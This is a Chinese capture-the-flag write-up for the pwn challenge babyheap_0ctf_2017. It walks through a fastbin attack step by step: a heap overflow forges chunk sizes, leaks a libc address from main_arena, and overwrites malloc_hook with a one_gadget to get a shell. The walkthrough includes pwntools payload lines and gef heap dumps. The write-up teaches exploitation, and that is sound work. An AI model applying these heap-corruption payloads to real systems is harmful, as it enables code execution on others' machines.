【WP】babyheap_0ctf_2017
利用fastbin attack的一道入门题
题目描述
菜单1
2
3
4
5
6
7===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:
allocate操作
最多申请15个
结构体存放三个元素:
- 标记是否被使用
- 记录size
- 指向存放内容的堆的指针
fill操作
可以看到首先会检查index是否在0~15范围内
然后检查结构体标记位,是否为1;检查指向的堆块是否存在
接着根据我们输入的size进行填充,存在堆溢出
free操作
如果标记位为1,把标记和size都置0,free指向堆块的指针并讲指针置0
dump操作
若index在范围内,标记位为1,则输出堆的内容
思路
由于本题无后门 无system,所以需要泄露libc基地址
这里涉及到一个点:当small/large chunk被释放时,其fd和bk指向main_arena中的地址
所以我们可以构造一个small chunk并释放,得到libc附近的地址
但是如何把这个地址打印出来呢?
这里就要通过构造来伪造一个堆块,把地址内容包括进去,从而打印出地址并通过偏移算出libc基地址
接着利用fastbin attack控制malloc_hook,写入onegadget从而getshell
具体步骤
leak libc_base
首先申请两个堆块1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17alloc(0x60)
alloc(0x40)
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x0000000000000000 0x0000000000000000
0x5646e2c29020: 0x0000000000000000 0x0000000000000000
0x5646e2c29030: 0x0000000000000000 0x0000000000000000
0x5646e2c29040: 0x0000000000000000 0x0000000000000000
0x5646e2c29050: 0x0000000000000000 0x0000000000000000
0x5646e2c29060: 0x0000000000000000 0x0000000000000000
0x5646e2c29070: 0x0000000000000000 0x0000000000000051 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000020f41 -->top chunk
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
然后利用堆溢出,修改chunk1的size1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16fill(0, 0x60 + 0x10, 'a' * 0x60 + p64(0) + p64(0x71))
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000020f41 -->top chunk
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
申请0x100的堆块1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17alloc(0x100)
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->chunk2
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
0x5646e2c290e0: 0x0000000000000000 0x0000000000000000
假装chunk1为0x70大小,堆溢出布置其后chunk的pre_size位和size1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71))
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->chunk2
0x5646e2c290d0: 0x6363636363636363 0x6363636363636363
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000
接下来释放堆块1,由于我们伪造了其size,并且伪造了next chunk的size(为了绕过检查,free的时候会检查下一个chunk的size位),相当于我们现在释放的是一个0x70大小的堆。
可以看到释放后我们伪造的堆块被放入了0x70size的fastbin中1
2
3
4
5
6
7
8
9gef➤ heap bin fast
─────────────────────────── Fastbins for arena 0x7f0250149b20 ───────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x5646e2c29080, size=0x70, flags=PREV_INUSE)
Fastbins[idx=6, size=0x80] 0x00
再申请相应大小的堆,把我们伪造的堆申请回来1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27alloc(0x60)
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x0000000000000000 0x0000000000000000
0x5646e2c29090: 0x0000000000000000 0x0000000000000000
0x5646e2c290a0: 0x0000000000000000 0x0000000000000000
0x5646e2c290b0: 0x0000000000000000 0x0000000000000000
0x5646e2c290c0: 0x0000000000000000 0x0000000000000000
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000
-------------------------------------------------------
gef➤ heap chunks
Chunk(addr=0x5646e2c29010, size=0x70, flags=PREV_INUSE)
[0x00005646e2c29010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x5646e2c29080, size=0x70, flags=PREV_INUSE)
[0x00005646e2c29080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x5646e2c290f0, size=0x70, flags=PREV_INUSE)
[0x00005646e2c290f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
由于使用calloc申请的堆,所以内容会被清空,需要我们手动恢复一下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19fill(1, 0x40 + 0x10, 'b' * 0x40 + p64(0) + p64(0x111))
gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x6262626262626262 0x6262626262626262
0x5646e2c29090: 0x6262626262626262 0x6262626262626262
0x5646e2c290a0: 0x6262626262626262 0x6262626262626262
0x5646e2c290b0: 0x6262626262626262 0x6262626262626262
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->real chunk2
0x5646e2c290d0: 0x0000000000000000 0x0000000000000000
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000
然后申请一个堆防止发生后向合并,再free掉small bin大小的real chunk2,这样就使其fd和bk指针指向了main_aren中的地址1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30gef➤ x/40gx 0x5646e2c29010-0x10
0x5646e2c29000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x5646e2c29010: 0x6161616161616161 0x6161616161616161
0x5646e2c29020: 0x6161616161616161 0x6161616161616161
0x5646e2c29030: 0x6161616161616161 0x6161616161616161
0x5646e2c29040: 0x6161616161616161 0x6161616161616161
0x5646e2c29050: 0x6161616161616161 0x6161616161616161
0x5646e2c29060: 0x6161616161616161 0x6161616161616161
0x5646e2c29070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x5646e2c29080: 0x6262626262626262 0x6262626262626262
0x5646e2c29090: 0x6262626262626262 0x6262626262626262
0x5646e2c290a0: 0x6262626262626262 0x6262626262626262
0x5646e2c290b0: 0x6262626262626262 0x6262626262626262
0x5646e2c290c0: 0x0000000000000000 0x0000000000000111 -->freed chunk
0x5646e2c290d0: 0x00007f0250149b78 0x00007f0250149b78 -->libc+offset
0x5646e2c290e0: 0x0000000000000000 0x0000000000000071 -->fake size
0x5646e2c290f0: 0x0000000000000000 0x0000000000000000
......
......
0x5646e2c291c0: 0x0000000000000000 0x0000000000000000
pre_size size
0x5646e2c291d0: 0x0000000000000110 0x0000000000000060 -->chunk2
0x5646e2c291e0: 0x0000000000000000 0x0000000000000000
0x5646e2c291f0: 0x0000000000000000 0x0000000000000000
0x5646e2c29200: 0x0000000000000000 0x0000000000000000
0x5646e2c29210: 0x0000000000000000 0x0000000000000000
0x5646e2c29220: 0x0000000000000000 0x0000000000000000
0x5646e2c29230: 0x0000000000000000 0x0000000000020dd1 -->top chunk
0x5646e2c29240: 0x0000000000000000 0x0000000000000000
接着选择dump chunk1,就能计算得到libc基址了
fasbin_attack
申请两个0x60的堆1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25alloc(0x60) #2
alloc(0x60) #4
gef➤ x/74gx 0x559b45fc1010-0x10
0x559b45fc1000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x559b45fc1010: 0x6161616161616161 0x6161616161616161
0x559b45fc1020: 0x6161616161616161 0x6161616161616161
0x559b45fc1030: 0x6161616161616161 0x6161616161616161
0x559b45fc1040: 0x6161616161616161 0x6161616161616161
0x559b45fc1050: 0x6161616161616161 0x6161616161616161
0x559b45fc1060: 0x6161616161616161 0x6161616161616161
0x559b45fc1070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x559b45fc1080: 0x6262626262626262 0x6262626262626262
0x559b45fc1090: 0x6262626262626262 0x6262626262626262
0x559b45fc10a0: 0x6262626262626262 0x6262626262626262
0x559b45fc10b0: 0x6262626262626262 0x6262626262626262
0x559b45fc10c0: 0x0000000000000000 0x0000000000000071 -->chunk2
0x559b45fc10d0: 0x0000000000000000 0x0000000000000000
0x559b45fc10e0: 0x0000000000000000 0x0000000000000000
0x559b45fc10f0: 0x0000000000000000 0x0000000000000000
0x559b45fc1100: 0x0000000000000000 0x0000000000000000
0x559b45fc1110: 0x0000000000000000 0x0000000000000000
0x559b45fc1120: 0x0000000000000000 0x0000000000000000
0x559b45fc1130: 0x0000000000000000 0x0000000000000071 -->chunk4
0x559b45fc1140: 0x0000000000000000 0x0000000000000000
0x559b45fc1150: 0x0000000000000000 0x0000000000000000
释放chunk4,其进入fastbin中
堆溢出填充chunk2,更改chunk4的fd指针,再申请一个相应大小的堆块,就能获得一个指向我们想要的地址处的堆
这里我们希望能够修改malloc_hook,查看其附近的内存信息
考虑以0x7f作为size位,使伪造的堆块被通过检查,则应使fd指向&malloc_hook-0x23
从下面的执行效果可以看到伪造的堆块被放入了fastbin1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36free(4)
fill(2,0x60+0x18,'a'*0x60 + p64(0)+p64(0x71)+p64(malloc_hook))
gef➤ x/60gx 0x559b45fc1010-0x10
0x559b45fc1000: 0x0000000000000000 0x0000000000000071 -->chunk0
0x559b45fc1010: 0x6161616161616161 0x6161616161616161
0x559b45fc1020: 0x6161616161616161 0x6161616161616161
0x559b45fc1030: 0x6161616161616161 0x6161616161616161
0x559b45fc1040: 0x6161616161616161 0x6161616161616161
0x559b45fc1050: 0x6161616161616161 0x6161616161616161
0x559b45fc1060: 0x6161616161616161 0x6161616161616161
0x559b45fc1070: 0x0000000000000000 0x0000000000000071 -->chunk1
0x559b45fc1080: 0x6262626262626262 0x6262626262626262
0x559b45fc1090: 0x6262626262626262 0x6262626262626262
0x559b45fc10a0: 0x6262626262626262 0x6262626262626262
0x559b45fc10b0: 0x6262626262626262 0x6262626262626262
0x559b45fc10c0: 0x0000000000000000 0x0000000000000071 -->chunk2
0x559b45fc10d0: 0x6161616161616161 0x6161616161616161
0x559b45fc10e0: 0x6161616161616161 0x6161616161616161
0x559b45fc10f0: 0x6161616161616161 0x6161616161616161
0x559b45fc1100: 0x6161616161616161 0x6161616161616161
0x559b45fc1110: 0x6161616161616161 0x6161616161616161
0x559b45fc1120: 0x6161616161616161 0x6161616161616161
0x559b45fc1130: 0x0000000000000000 0x0000000000000071 -->freed
fd
0x559b45fc1140: 0x00007fbd84442aed 0x0000000000000000
0x559b45fc1150: 0x0000000000000000 0x0000000000000000
-------------------------------------------------------
gef➤ heap bin fast
────────────────────────── Fastbins for arena 0x7fbd84442b20 ──────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] ← Chunk(addr=0x559b45fc1140, size=0x70, flags=PREV_INUSE) ← Chunk(addr=0x7fbd84442afd, size=0x78, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA) ← [Corrupted chunk at 0xbd84103e20000010]
Fastbins[idx=6, size=0x80] 0x00
接下来连续申请两个0x60大小的堆,就能获得指向malloc_hook前的堆,然后填充并把one_gadget写入malloc_hook处,再执行alloc,就能getshell了1
2
3
4alloc(0x60) #4
alloc(0x60) #5
fill(5,0x13+0x8,'a'*0x13+p64(one_gadget))
alloc(0x110)
exp
1 | from pwn import * |




